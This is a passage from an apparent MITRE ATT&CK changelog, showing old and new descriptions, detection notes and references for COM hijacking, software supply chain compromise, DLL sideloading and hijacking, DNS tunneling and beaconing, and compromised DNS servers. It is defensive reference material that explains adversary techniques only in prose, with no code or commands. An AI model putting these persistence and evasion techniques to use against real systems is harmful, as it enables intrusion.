 >tion of COM hijacking involves abusing Type Libraries (TypeL
 >ibs), which provide metadata about COM objects, such as thei
 >r interfaces and methods. Adversaries may modify Registry ke
 >ys associated with TypeLibs to redirect legitimate COM objec
 >t functionality to malicious scripts or payloads. Unlike tra
 >ditional COM hijacking, which commonly uses local DLLs, this
 > variation may leverage the "script:" moniker to execute rem
 >ote scripts hosted on external servers.(Citation: RELIAQUEST
 >) This approach enables stealthy execution of code while mai
 >ntaining persistence, as the remote payload would be automat
 >ically downloaded whenever the hijacked COM object is access
 >ed.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:20.012000+00:002025-10-24 17:49:18.160000+00:00
descriptionAdversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. + +Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. + +Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. + +One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the "script:" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionThere are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. + +Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'RELIAQUEST', 'description': 'RELIAQUEST THREAT RESEARCH TEAM. (2025, April 11). Threat Spotlight: Hijacked and Hidden: New Backdoor and Persistence Technique. Retrieved June 27, 2025.', 'url': 'https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/'}
x_mitre_contributorsReliaQuest

[T1195.001] Supply Chain Compromise: Compromise Software Dependencies and Development Tools

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may manipulate software dependencies and developt1Adversaries may manipulate software dependencies and develop
>ment tools prior to receipt by a final consumer for the purp>ment tools prior to receipt by a final consumer for the purp
>ose of data or system compromise. Applications often depend >ose of data or system compromise. Applications often depend 
>on external software to function properly. Popular open sour>on external software to function properly. Popular open sour
>ce projects that are used as dependencies in many applicatio>ce projects that are used as dependencies in many applicatio
>ns may be targeted as a means to add malicious code to users>ns, such as pip and NPM packages, may be targeted as a means
> of the dependency.(Citation: Trendmicro NPM Compromise)    > to add malicious code to users of the dependency.(Citation:
>Targeting may be specific to a desired victim set or may be > Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi
>distributed to a broad set of consumers but only move on to >tories Compromised 2021)(Citation: MANDVI Malicious npm and 
>additional tactics on specific victims. >PyPI Packages Disguised) This may also include abandoned pac
 >kages, which in some cases could be re-registered by threat 
 >actors after being removed by adversaries.(Citation: The Hac
 >ker News PyPi Revival Hijack 2024) Adversaries may also empl
 >oy "typosquatting" or name-confusion by choosing names simil
 >ar to existing popular libraries or packages in order to dec
 >eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac
 >kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C
 >itation: Checkmarx-oss-seo)  Additionally, CI/CD pipeline co
 >mponents, such as GitHub Actions, may be targeted in order t
 >o gain access to the building, testing, and deployment cycle
 >s of an application.(Citation: Unit 42 Palo Alto GitHub Acti
 >ons Supply Chain Attack 2025) By adding malicious code into 
 >a GitHub action, a threat actor may be able to collect runti
 >me credentials (e.g., via [Proc Filesystem](https://attack.m
 >itre.org/techniques/T1003/007)) or insert further malicious 
 >components into the build pipelines for a second-order suppl
 >y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac
 >tions are often dependent on other GitHub Actions, threat ac
 >tors may be able to infect a large number of repositories vi
 >a the compromise of a single Action.(Citation: Palo Alto Net
 >works GitHub Actions Worm 2023)  Targeting may be specific t
 >o a desired victim set or may be distributed to a broad set 
 >of consumers but only move on to additional tactics on speci
 >fic victims. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Enis Aksu', 'Joe Gumke, U.S. Bank', 'Liran Ravich, CardinalOps']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:08:13.223000+00:002025-10-24 17:48:27.436000+00:00
descriptionAdversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) + +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ "typosquatting" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo) + +Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023) + +Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionUse verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Palo Alto Networks GitHub Actions Worm 2023', 'description': 'Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.', 'url': 'https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/'}
external_references{'source_name': 'Meyer PyPI Supply Chain Attack Uncovered', 'description': 'Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.', 'url': 'https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/'}
external_references{'source_name': 'Ahmed Backdoors in Python and NPM Packages', 'description': 'Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.', 'url': 'https://hackread.com/backdoors-python-npm-packages-windows-linux/'}
external_references{'source_name': 'MANDVI Malicious npm and PyPI Packages Disguised', 'description': 'MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.', 'url': 'https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools'}
external_references{'source_name': 'Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025', 'description': 'Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.', 'url': 'https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack'}
external_references{'source_name': 'OWASP CICD-SEC-4', 'description': 'OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.', 'url': 'https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution'}
external_references{'source_name': 'The Hacker News PyPi Revival Hijack 2024', 'description': 'Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.', 'url': 'https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html'}
external_references{'source_name': 'Bitdefender NPM Repositories Compromised 2021', 'description': 'Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.', 'url': 'https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack'}
external_references{'source_name': 'Checkmarx-oss-seo', 'description': 'Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.', 'url': 'https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/'}

[T1574.001] Hijack Execution Flow: DLL

Current version: 2.1

Version changed from: 2.0 → 2.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse dynamic-link library files (DLLs) in ot1Adversaries may abuse dynamic-link library files (DLLs) in o
>rder to achieve persistence, escalate privileges, and evade >rder to achieve persistence, escalate privileges, and evade 
>defenses. DLLs are libraries that contain code and data that>defenses. DLLs are libraries that contain code and data that
> can be simultaneously utilized by multiple programs. While > can be simultaneously utilized by multiple programs. While 
>DLLs are not malicious by nature, they can be abused through>DLLs are not malicious by nature, they can be abused through
> mechanisms such as side-loading, hijacking search order, an> mechanisms such as side-loading, hijacking search order, an
>d phantom DLL hijacking.(Citation: unit 42)  Specific ways D>d phantom DLL hijacking.(Citation: unit 42)  Specific ways D
>LLs are abused by adversaries include:  ### DLL Sideloading >LLs are abused by adversaries include:  ### DLL Sideloading 
>Adversaries may execute their own malicious payloads by side>Adversaries may execute their own malicious payloads by side
>-loading DLLs. Side-loading involves hijacking which DLL a p>-loading DLLs. Side-loading involves hijacking which DLL a p
>rogram loads by planting and then invoking a legitimate appl>rogram loads by planting and then invoking a legitimate appl
>ication that executes their payload(s).  Side-loading positi>ication that executes their payload(s).  Side-loading positi
>ons both the victim application and malicious payload(s) alo>ons both the victim application and malicious payload(s) alo
>ngside each other. Adversaries likely use side-loading as a >ngside each other. Adversaries likely use side-loading as a 
>means of masking actions they perform under a legitimate, tr>means of masking actions they perform under a legitimate, tr
>usted, and potentially elevated system or software process. >usted, and potentially elevated system or software process. 
>Benign executables used to side-load payloads may not be fla>Benign executables used to side-load payloads may not be fla
>gged during delivery and/or execution. Adversary payloads ma>gged during delivery and/or execution. Adversary payloads ma
>y also be encrypted/packed or otherwise obfuscated until loa>y also be encrypted/packed or otherwise obfuscated until loa
>ded into the memory of the trusted process.  Adversaries may>ded into the memory of the trusted process.  Adversaries may
> also side-load other packages, such as BPLs (Borland Packag> also side-load other packages, such as BPLs (Borland Packag
>e Library).(Citation: kroll bpl)  ### DLL Search Order Hijac>e Library).(Citation: kroll bpl)  Adversaries may chain DLL 
>king Adversaries may execute their own malicious payloads by>sideloading multiple times to fragment functionality hinderi
> hijacking the search order that Windows uses to load DLLs. >ng analysis. Adversaries using multiple DLL files can split 
>This search order is a sequence of special and standard sear>the loader functions across different DLLs, with a main DLL 
>ch locations that a program checks when loading a DLL. An ad>loading the separated export functions. (Citation: Virus Bul
>versary can plant a trojan DLL in a directory that will be p>letin) Spreading loader functions across multiple DLLs makes
>rioritized by the DLL search order over the location of a le> analysis harder, since all files must be collected to fully
>gitimate library. This will cause Windows to load the malici> understand the malware’s behavior.  Another method implemen
>ous DLL when it is called for by the victim program.(Citatio>ts a “loader-for-a-loader”, where a malicious DLL’s sole rol
>n: unit 42)  ### DLL Redirection Adversaries may directly mo>e is to load a second DLL (or a chain of DLLs) that contain 
>dify the search order via DLL redirection, which after being>the real payload. (Citation: Sophos)  ### DLL Search Order H
> enabled (in the Registry or via the creation of a redirecti>ijacking Adversaries may execute their own malicious payload
>on file) may cause a program to load a DLL from a different >s by hijacking the search order that Windows uses to load DL
>location.(Citation: Microsoft redirection)(Citation: Microso>Ls. This search order is a sequence of special and standard 
>ft - manifests/assembly)  ### Phantom DLL Hijacking Adversar>search locations that a program checks when loading a DLL. A
>ies may leverage phantom DLL hijacking by targeting referenc>n adversary can plant a trojan DLL in a directory that will 
>es to non-existent DLL files. They may be able to load their>be prioritized by the DLL search order over the location of 
> own malicious DLL by planting it with the correct name in t>a legitimate library. This will cause Windows to load the ma
>he location of the missing module.(Citation: Hexacorn DLL Hi>licious DLL when it is called for by the victim program.(Cit
>jacking)(Citation: Hijack DLLs CrowdStrike)  ### DLL Substit>ation: unit 42)  ### DLL Redirection Adversaries may directl
>ution Adversaries may target existing, valid DLL files and s>y modify the search order via DLL redirection, which after b
>ubstitute them with their own malicious DLLs, planting them >eing enabled (in the Registry or via the creation of a redir
>with the same name and in the same location as the valid DLL>ection file) may cause a program to load a DLL from a differ
> file.(Citation: Wietze Beukema DLL Hijacking)  Programs tha>ent location.(Citation: Microsoft redirection)(Citation: Mic
>t fall victim to DLL hijacking may appear to behave normally>rosoft - manifests/assembly)  ### Phantom DLL Hijacking Adve
> because malicious DLLs may be configured to also load the l>rsaries may leverage phantom DLL hijacking by targeting refe
>egitimate DLLs they were meant to replace, evading defenses.>rences to non-existent DLL files. They may be able to load t
>  Remote DLL hijacking can occur when a program sets its cur>heir own malicious DLL by planting it with the correct name 
>rent directory to a remote location, such as a Web share, be>in the location of the missing module.(Citation: Hexacorn DL
>fore loading a DLL.(Citation: dll pre load owasp)(Citation: >L Hijacking)(Citation: Hijack DLLs CrowdStrike)  ### DLL Sub
>microsoft remote preloading)  If a valid DLL is configured t>stitution Adversaries may target existing, valid DLL files a
>o run at a higher privilege level, then the adversary-contro>nd substitute them with their own malicious DLLs, planting t
>lled DLL that is loaded will also be executed at the higher >hem with the same name and in the same location as the valid
>level. In this case, the technique could be used for privile> DLL file.(Citation: Wietze Beukema DLL Hijacking)  Programs
>ge escalation.> that fall victim to DLL hijacking may appear to behave norm
 >ally because malicious DLLs may be configured to also load t
 >he legitimate DLLs they were meant to replace, evading defen
 >ses.  Remote DLL hijacking can occur when a program sets its
 > current directory to a remote location, such as a Web share
 >, before loading a DLL.(Citation: dll pre load owasp)(Citati
 >on: microsoft remote preloading)  If a valid DLL is configur
 >ed to run at a higher privilege level, then the adversary-co
 >ntrolled DLL that is loaded will also be executed at the hig
 >her level. In this case, the technique could be used for pri
 >vilege escalation.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Creation', 'Module: Module Load', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 18:24:47.533000+00:002025-10-24 17:48:35.900000+00:00
descriptionAdversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) + +Specific ways DLLs are abused by adversaries include: + +### DLL Sideloading +Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). + +Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. + +Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) + +### DLL Search Order Hijacking +Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) + +### DLL Redirection +Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) + +### Phantom DLL Hijacking +Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) + +### DLL Substitution +Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) + +Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. + +Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) + +If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42) + +Specific ways DLLs are abused by adversaries include: + +### DLL Sideloading +Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s). + +Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process. + +Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl) + +Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos) + +### DLL Search Order Hijacking +Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42) + +### DLL Redirection +Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly) + +### Phantom DLL Hijacking +Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike) + +### DLL Substitution +Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking) + +Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses. + +Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading) + +If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.
x_mitre_version2.02.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Sophos', 'description': 'Gabor Szappanos. (2023, May 3). A doubled “Dragon Breath” adds new air to DLL sideloading attacks. Retrieved October 3, 2025.', 'url': 'https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/'}
external_references{'source_name': 'Virus Bulletin', 'description': 'Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.', 'url': 'https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/'}

[T1071.004] Application Layer Protocol: DNS

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may communicate using the Domain Name System (DNt1Adversaries may communicate using the Domain Name System (DN
>S) application layer protocol to avoid detection/network fil>S) application layer protocol to avoid detection/network fil
>tering by blending in with existing traffic. Commands to the>tering by blending in with existing traffic. Commands to the
> remote system, and often the results of those commands, wil> remote system, and often the results of those commands, wil
>l be embedded within the protocol traffic between the client>l be embedded within the protocol traffic between the client
> and server.   The DNS protocol serves an administrative fun> and server.   The DNS protocol serves an administrative fun
>ction in computer networking and thus may be very common in >ction in computer networking and thus may be very common in 
>environments. DNS traffic may also be allowed even before ne>environments. DNS traffic may also be allowed even before ne
>twork authentication is completed. DNS packets contain many >twork authentication is completed. DNS packets contain many 
>fields and headers in which data can be concealed. Often kno>fields and headers in which data can be concealed. Often kno
>wn as DNS tunneling, adversaries may abuse DNS to communicat>wn as DNS tunneling, adversaries may abuse DNS to communicat
>e with systems under their control within a victim network w>e with systems under their control within a victim network w
>hile also mimicking normal, expected traffic.(Citation: PAN >hile also mimicking normal, expected traffic.(Citation: PAN 
>DNS Tunneling)(Citation: Medium DnsTunneling) >DNS Tunneling)(Citation: Medium DnsTunneling)  DNS beaconing
 > may be used to send commands to remote systems via DNS quer
 >ies. A DNS beacon is created by tunneling DNS traffic (i.e. 
 >[Protocol Tunneling](https://attack.mitre.org/techniques/T15
 >72)). The commands may be embedded into different DNS record
 >s, for example, TXT or A records.(Citation: OilRig Uses Upda
 >ted BONDUPDATER to Target Middle Eastern Government) DNS bea
 >cons may be difficult to detect because the beacons infreque
 >ntly communicate with infected devices.(Citation: DNS Beacon
 >s) Infrequent communication conceals the malicious DNS traff
 >ic with normal DNS traffic. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:10.065000+00:002025-10-24 17:48:27.877000+00:00
descriptionAdversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) + +DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) + +Monitor for DNS traffic to/from known-bad or suspicious domains.
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government', 'description': 'Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/'}
external_references{'source_name': 'DNS Beacons', 'description': 'Vercara. (n.d.). Retrieved July 21, 2025.', 'url': 'https://vercara.digicert.com/resources/dns-beacons#page_top'}

[T1584.002] Compromise Infrastructure: DNS Server

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may compromise third-party DNS servers that can t1Adversaries may compromise third-party DNS servers that can 
>be used during targeting. During post-compromise activity, a>be used during targeting. During post-compromise activity, a
>dversaries may utilize DNS traffic for various tasks, includ>dversaries may utilize DNS traffic for various tasks, includ
>ing for Command and Control (ex: [Application Layer Protocol>ing for Command and Control (ex: [Application Layer Protocol
>](https://attack.mitre.org/techniques/T1071)). Instead of se>](https://attack.mitre.org/techniques/T1071)). Instead of se
>tting up their own DNS servers, adversaries may compromise t>tting up their own DNS servers, adversaries may compromise t
>hird-party DNS servers in support of operations.  By comprom>hird-party DNS servers in support of operations.  By comprom
>ising DNS servers, adversaries can alter DNS records. Such c>ising DNS servers, adversaries can alter DNS records. Such c
>ontrol can allow for redirection of an organization's traffi>ontrol can allow for redirection of an organization's traffi
>c, facilitating Collection and Credential Access efforts for>c, facilitating Collection and Credential Access efforts for
> the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio> the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio
>n: FireEye DNS Hijack 2019)  Additionally, adversaries may l>n: FireEye DNS Hijack 2019)  Additionally, adversaries may l
>everage such control in conjunction with [Digital Certificat>everage such control in conjunction with [Digital Certificat
>es](https://attack.mitre.org/techniques/T1588/004) to redire>es](https://attack.mitre.org/techniques/T1588/004) to redire
>ct traffic to adversary-controlled infrastructure, mimicking>ct traffic to adversary-controlled infrastructure, mimicking
> normal trusted network communications.(Citation: FireEye DN> normal trusted network communications.(Citation: FireEye DN
>S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers>S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Altern
